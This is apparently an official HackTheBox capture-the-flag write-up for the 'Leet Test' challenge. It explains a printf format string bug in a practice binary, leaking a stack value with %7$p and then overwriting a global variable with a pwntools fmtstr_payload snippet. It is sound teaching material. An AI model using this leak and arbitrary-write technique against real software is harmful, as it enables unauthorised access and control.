Leet Test

7th October 2022 / Document No. D22.102.237

Prepared By: w3th4nds

Challenge Author(s): MinatoTW

Difficulty: Easy

Classification: Official

Synopsis

Leet Test is an Easy challenge that features a format string vulnerability, enabling the attacker to read the value of a secret variable, and then, using the same vulnerability as before, perform an arbitrary write to satisfy the winning condition and get the flag.

Skills Required

- Basic debugging skills

Skills Learned

- Exploiting format string vulnerabilities to leak stack data, and perform arbitrary writes

Enumeration

Protections

First off, let's start by checking the binary's applied exploit mitigations:

We will be using `checksec` to do that:

```
checksec leet_test

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
```

Nothing that stands out here, just taking note of `No PIE` and `No canary found`, because when both are disabled, `buffer overflows` are very easy to exploit. Too early to tell though, we should keep moving.

Let's continue by running the binary and see what we're working with:

```
Welcome to HTB!
Please enter your name: w3th4nds
Hello, w3th4nds
Sorry! You aren't 1337 enough :(
Please come back later
-----------------------
Welcome to HTB!
Please enter your name: 1337h4nds
Hello, 1337h4nds
Sorry! You aren't 1337 enough :(
Please come back later
```

A prompt asking for our name runs in a loop. A closer inspection will be needed to **exploit** this.

Disassembly

`main()`'s pseudocode has been generated below:

```
void main(void)
{
  long in_FS_OFFSET;
  uint local_13c;
  int local_138;
  int local_134;
  void *local_130;
  char local_128 [280];
  undefined8 local_10;

  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  initialize();
  local_138 = open("/dev/urandom",0);
  read(local_138,&local_13c,4);
  close(local_138);
  local_13c = local_13c & 0xffff;
  while( true ) {
    printf("Welcome to HTB!\nPlease enter your name: ");
    fgets(local_128,0x100,stdin);
    printf("Hello, ");
    printf(local_128);
    if (local_13c * 0x1337c0de == winner) break;
    puts("Sorry! You aren\'t 1337 enough :(\nPlease come back later\n----------
--------------");
  }
  local_134 = open("flag.txt",0);
  local_130 = malloc(0x100);
  read(local_134,local_130,0x100);
```

```
  close(local_134);
  printf("\nCome right in! %s\n",local_130);
                    /* WARNING: Subroutine does not return */
  exit(0);
```

Few things happening here:

- `local_128`, a **280-byte** long char buffer, is declared
- `/dev/urandom` is opened, reading a random number into a variable, `local_13c`.
  A `bitwise AND` operation is then performed, essentially keeping only 2 bytes (the 2 least significant bytes) of that random number

An infinite loop then starts, adding the following functionality:

- `0x100 (=256)` bytes are read into the `local_128` buffer through an `fgets()` call
- our input is printed back to us - we will come back to this shortly
- a comparison is performed, `local_13c * 0x1337c0de == winner`,
  and if `True` is returned, the program breaks out of the loop

What lies after the infinite loop is, well, the flag. It is printed back to us.

Exploitation

So our objective should be quite clear at this point, pass the `local_13c * 0x1337c0de == winner` check.

To make that happen, either `local_13c` or `winner`, need to have their values modified.

But let's go back to the `disassembly` section since we brushed over a big vulnerability; "The input is being printed back to us" - but in a vulnerable way.

Take a look at this code snippet from the loop we are stuck in:

```
fgets(local_128,0x100,stdin);
printf("Hello, ");
printf(local_128);
```

Notice the last line: `printf()` is being used with **no format specifier** in place, attempting to print out our raw input.

`printf()` should always be used with the appropriate format specifier, otherwise **powerful attack vectors** emerge.

When a format specifier is used, `printf()` expects to find a variable in its argument list.

Let us take the following line of code as an example:

```
printf("%x");
```

Since a format specifier is in place and **no arguments** are to be used with it, **a value from the stack will be printed**. (Because variables are stored on the `stack`, `printf()` uses the next variable on the stack after the format string itself.)

And if we wanted to skip a few stack values and print, let's say, the 8th value after the format string, something like `"%8$p"` can be used.

This can easily be exploited to leak crucial data, such as variable values, defeat exploit mitigation mechanisms like `ASLR`, `PIE`, and calculate `libc`'s base address at runtime.

Moreover, an `arbitrary write` can be performed when the `"%n"` specifier is used.

`"%n"` is a special kind of specifier. It is not used to print data. Instead, it writes the number of bytes printed so far at the address pointed to by its corresponding argument from the arguments list.

```
int x;
printf("Hello World %n", &x);
```

In the example above, the number 12 will be written on `x`'s address.

The entirety of format string vulnerabilities cannot be explained or covered within this write-up, so researching the topic if you still have questions is recommended.

Exploiting binaries with `%n` to perform complex/multiple writes is quite complicated though, and using a library like Python's `pwntools` to do the work for us is generally preferred.

Back to the challenge now, and armed with our new-found knowledge, how are we going to put it to use and obtain the flag?

The `local_13c` variable contains the random value loaded from `/dev/urandom`, so a good start would be to leak that.

After setting a few breakpoints and observing the stack, we see that a payload of `%7$p` leaks its value.

Now onto passing the check. We know `local_13c`'s value, and since `winner` is a global variable, it lies in the `.data` section of the binary. This is a known address because `PIE` is disabled.

So, one thing to do: write `local_13c * 0x1337c0de` at `winner`'s address. The following is `pwntool's fmtstr` tool:

```
target_value = (urandom_leak * 0x1337c0de) & 0xffffffff # bitwise AND to keep 4
bytes
writes = {e.sym['winner'] : target_value}               # target_location :
target_value
payload = fmtstr_payload(10, writes, write_size='byte') # generate payload
r.sendlineafter(b'name: ', payload)                     # exploit!
```

Solution

```
Hello,
                                                                `
                                        \x00

\x00          \x07ax@@
Come right in! HTB{********************}
```